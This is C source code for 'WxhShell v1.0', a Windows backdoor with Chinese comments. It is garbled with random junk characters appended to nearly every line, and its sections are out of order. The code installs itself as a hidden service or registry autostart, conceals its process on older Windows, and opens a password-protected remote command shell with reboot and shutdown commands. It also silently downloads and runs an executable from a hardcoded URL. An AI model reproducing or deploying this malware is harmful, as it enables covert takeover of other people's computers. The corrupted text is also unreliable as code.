ULONG InheritedFromUniqueProcessId; Z<[<n0o1
} PROCESS_BASIC_INFORMATION; \JEXX4%
4`m~FNVS
PROCNTQSIP NtQueryInformationProcess; G2bDf-1ew
x!LQxoNF
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t]jFo
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *g}Yw
nn/?fIZN4
HANDLE hProcess; GPz(j'jU
PROCESS_BASIC_INFORMATION pbi; JF&$t}
9I27TKy
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i9<pqQ
if(NULL == hInst ) return 0; Q_-_^J
_|[UI.a
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^hNgm.I
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,2Q o7(A
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W&*f#E
!G^L/?z3
if (!NtQueryInformationProcess) return 0; c#-U%qZ
M>9-=$7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hI%bjuq
if(!hProcess) return 0; ^bg2[FV
LEMfG~Czq
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VVH.2&`I
IN8>ZV`j)
CloseHandle(hProcess); 00v&lQBW
]^':Bmq
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |F,R&<2
if(hProcess==NULL) return 0; dI&!e#Y
j`^$#
HMODULE hMod; $vC1 K5sLk
char procName[255]; QO;N9ZI
unsigned long cbNeeded; zJP6F.Ov!
@k[R/,#'[t
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b2aF 'y/
EVp,Q"V]
CloseHandle(hProcess); 3bk|<7tl
)[0T16
if(strstr(procName,"services")) return 1; // 以服务启动 5;0g!&-t#
@KX
\Er
return 0; // 注册表启动 (" LQll9
} +a-6Q ~
VE+IKj!VG0
// 主模块 '!l1=cZD
int StartWxhshell(LPSTR lpCmdLine) 4wC+S9I#E^
{ l^ZI* z7N
SOCKET wsl; /VmR<C?h
BOOL val=TRUE; $o$
maA0
int port=0; d>;&9;)H
struct sockaddr_in door; 2gO2jJlv
MZ Aij
if(wscfg.ws_autoins) Install(); z<H~ItX,n
HGm 3+,
port=atoi(lpCmdLine); 6qcO?U
@-UL`+
if(port<=0) port=wscfg.ws_port; 'YNT8w/3
^Wxad?@
WSADATA data; >:D
j\"o
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GpZc5c
!Mi;*ZR
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 64hk2a8
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q+g!V5'
door.sin_family = AF_INET; :ba5iMa
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2M#r]
door.sin_port = htons(port); 3nZo{p:E
,%\o4Rc'o
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \
[a%('}
closesocket(wsl); pZ/>[TP(%F
return 1; ': N51kC
} FQ
g~l4WX
O_Oj|'bBC
if(listen(wsl,2) == INVALID_SOCKET) { ZPbpp@,
closesocket(wsl); nstUMr6
return 1; yAoe51h?
} LpR3BP@At
Wxhshell(wsl); | WvU q
WSACleanup(); w)Covz'uf
@V03a
)6,h
return 0; E b=}FuV
XC.%za8
} @|Rrf*J?%
e{m2l2Tx:
// 以NT服务方式启动 -_`>j~
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =Zi2jL?On
{ Z!ha fhcX
DWORD status = 0; um9_ru~
DWORD specificError = 0xfffffff; R
{-5Etv
{&"N%;`Q
serviceStatus.dwServiceType = SERVICE_WIN32; kF/9-[]$g,
serviceStatus.dwCurrentState = SERVICE_START_PENDING; rETRTp0HT
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e^.Fa59
serviceStatus.dwWin32ExitCode = 0; `Od5Gh
serviceStatus.dwServiceSpecificExitCode = 0; )/z@vY
serviceStatus.dwCheckPoint = 0; Mn)@{^
serviceStatus.dwWaitHint = 0; mdRU^n
aH^RoG}
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &^W|iXi#
if (hServiceStatusHandle==0) return; I1PuHf Qs
=}.EY iD
status = GetLastError(); m9/}~Y#k
if (status!=NO_ERROR) 4'0Dr++
{ qK)73eNSR
serviceStatus.dwCurrentState = SERVICE_STOPPED; DZi!aJ
serviceStatus.dwCheckPoint = 0; ~8lwe*lNV
serviceStatus.dwWaitHint = 0; r/SG 4
serviceStatus.dwWin32ExitCode = status; _-EyT
serviceStatus.dwServiceSpecificExitCode = specificError; 3YVi"
k?2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -|E!e.^7:
return; ;VWAf;U;B
} $sEy%-
'Fmvu
serviceStatus.dwCurrentState = SERVICE_RUNNING; St e=&^
serviceStatus.dwCheckPoint = 0; 0:+WO%z
serviceStatus.dwWaitHint = 0; j$+nKc$
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TA{\PKA)
} ]Ux<aiY]a
5H ue7'LS
// 处理NT服务事件,比如:启动、停止 8 XU1/i7N
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1Z9qjV%^
{ >yULC|'F&~
switch(fdwControl) 3`k;a1Z#O'
{ {~F4WjHJp
case SERVICE_CONTROL_STOP: B[KJR?>
serviceStatus.dwWin32ExitCode = 0; aoXb2 2]{
serviceStatus.dwCurrentState = SERVICE_STOPPED; mya_4I
m
serviceStatus.dwCheckPoint = 0; ;Rv!k&Df
serviceStatus.dwWaitHint = 0; 5O\*h;U 6
{ ['T:ea6B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;aw=MV
} _'(,
return; \_lod kf
case SERVICE_CONTROL_PAUSE: Rj4|Q:XG
serviceStatus.dwCurrentState = SERVICE_PAUSED; cJrmm2.0kD
break; -4cXRv]
case SERVICE_CONTROL_CONTINUE: qTqwPWW*
serviceStatus.dwCurrentState = SERVICE_RUNNING; rwI
break; 5F~'gLH/F-
case SERVICE_CONTROL_INTERROGATE:
OVV]x{
break; NgY=&W,
}; ll C#1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :53)Nv
} nVi[
q#s,-u u
// 标准应用程序主函数 !TUrQ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,gS;m
&!'J
{ ;1a~pF S
!1ED~3/X
// 获取操作系统版本
Z
/9>
OsIsNt=GetOsVer(); CO`_^7o9(
GetModuleFileName(NULL,ExeFile,MAX_PATH); t]YC"%[S
sJDas,7>
// 从命令行安装 v-PXZ'7~
if(strpbrk(lpCmdLine,"iI")) Install(); {|'E
~/P&Tub^
// 下载执行文件 \ioH\9
if(wscfg.ws_downexe) { `|/<\
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (Tbw3ENz
WinExec(wscfg.ws_filenam,SW_HIDE); 4y+< dw
} `5C,N!d8X
og
kD^
if(!OsIsNt) { dUQDOo
// 如果时win9x,隐藏进程并且设置为注册表启动 =17t-
[
HideProc(); D}mjN=Y
StartWxhshell(lpCmdLine); "OdXY"G
} WS`qVL]^&
else 2Tagr1L
if(StartFromService()) }&[
// 以服务方式启动 i(NdGL#P
StartServiceCtrlDispatcher(DispatchTable); fP.
6HF_p_
else sNLs\4v
// 普通方式启动 aXoVy&x=
StartWxhshell(lpCmdLine); jJ5W>Q1mK$
[Lzw#XE
return 0; oomT)gO 6*
} 4B^ZnFJ%m
u4/kR
fc
|GArL#}
aL&n[
=========================================== o:_Xv.HRZo
_iir<}
zlEX+=3
j!7{|EQFcl
t$De/Uq
0DJ+I
" +Nt2
+Y:O
4/wa+Y+=vt
#include <stdio.h> ,d {"m)r<
#include <string.h> iy%ZQ[Un
#include <windows.h> dfij|>:*0
#include <winsock2.h> `a2n:F
#include <winsvc.h> J{k79v
#include <urlmon.h> -$dXE+&
GhIKvX_N
#pragma comment (lib, "Ws2_32.lib") SgS~ {4Zx*
#pragma comment (lib, "urlmon.lib") Mw;sLsu
JW3B'_0
#define MAX_USER 100 // 最大客户端连接数 HlH64w2^R
#define BUF_SOCK 200 // sock buffer
%*L:sTj(
#define KEY_BUFF 255 // 输入 buffer G{6;>8h
Qx+%"YO
#define REBOOT 0 // 重启 [x,>?~6ek
#define SHUTDOWN 1 // 关机 :R~MO&
k@z,Iq8
#define DEF_PORT 5000 // 监听端口 70eb]\%
R~S;sJ& c
#define REG_LEN 16 // 注册表键长度 &FF"nE*
#define SVC_LEN 80 // NT服务名长度 \Ol kM<
;N0~;I
// 从dll定义API /,g ,Ch<d
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "-+\R}q$
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4#:W.]U8
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;{U@qQD7
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]3X@_NYj
oyYR-4m\
// wxhshell配置信息 R5X.^u
struct WSCFG { BEre*J
int ws_port; // 监听端口 !Ikt '5/
char ws_passstr[REG_LEN]; // 口令 ]% IT|/;9Y
int ws_autoins; // 安装标记, 1=yes 0=no (adyZ/j
char ws_regname[REG_LEN]; // 注册表键名 F;7dt@5;
char ws_svcname[REG_LEN]; // 服务名 :{q<{^c
char ws_svcdisp[SVC_LEN]; // 服务显示名 [E/\#4b
char ws_svcdesc[SVC_LEN]; // 服务描述信息 V;,{}
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qLB)XnQ
int ws_downexe; // 下载执行标记, 1=yes 0=no Ht&:-F+dm
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" osX8eX]\
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RsY3V=u
'qOREN
}; }x07^4$j
!qM=a3
// default Wxhshell configuration yFtd=AI'E
struct WSCFG wscfg={DEF_PORT, %nV]ibp2)
"xuhuanlingzhe", Cd>WUw
1, "O%gFye
"Wxhshell", MP4z-4Y
"Wxhshell", MMx9(`t*.
"WxhShell Service", PqiB\~o@Z
"Wrsky Windows CmdShell Service", T^Ze3L]
"Please Input Your Password: ", 9Ru8~R/\
1, B4i!/@0s
"http://www.wrsky.com/wxhshell.exe", g.zEn/SM
"Wxhshell.exe" yL2o}ZbS
};
F)'.g d
0a-0Y&lQm
// 消息定义模块 y"H*%]
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H?)w!QX
char *msg_ws_prompt="\n\r? for help\n\r#>"; Na?!;1]_
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RM!<8fXYD
char *msg_ws_ext="\n\rExit."; |4uWh
char *msg_ws_end="\n\rQuit."; )C(?bR
char *msg_ws_boot="\n\rReboot..."; &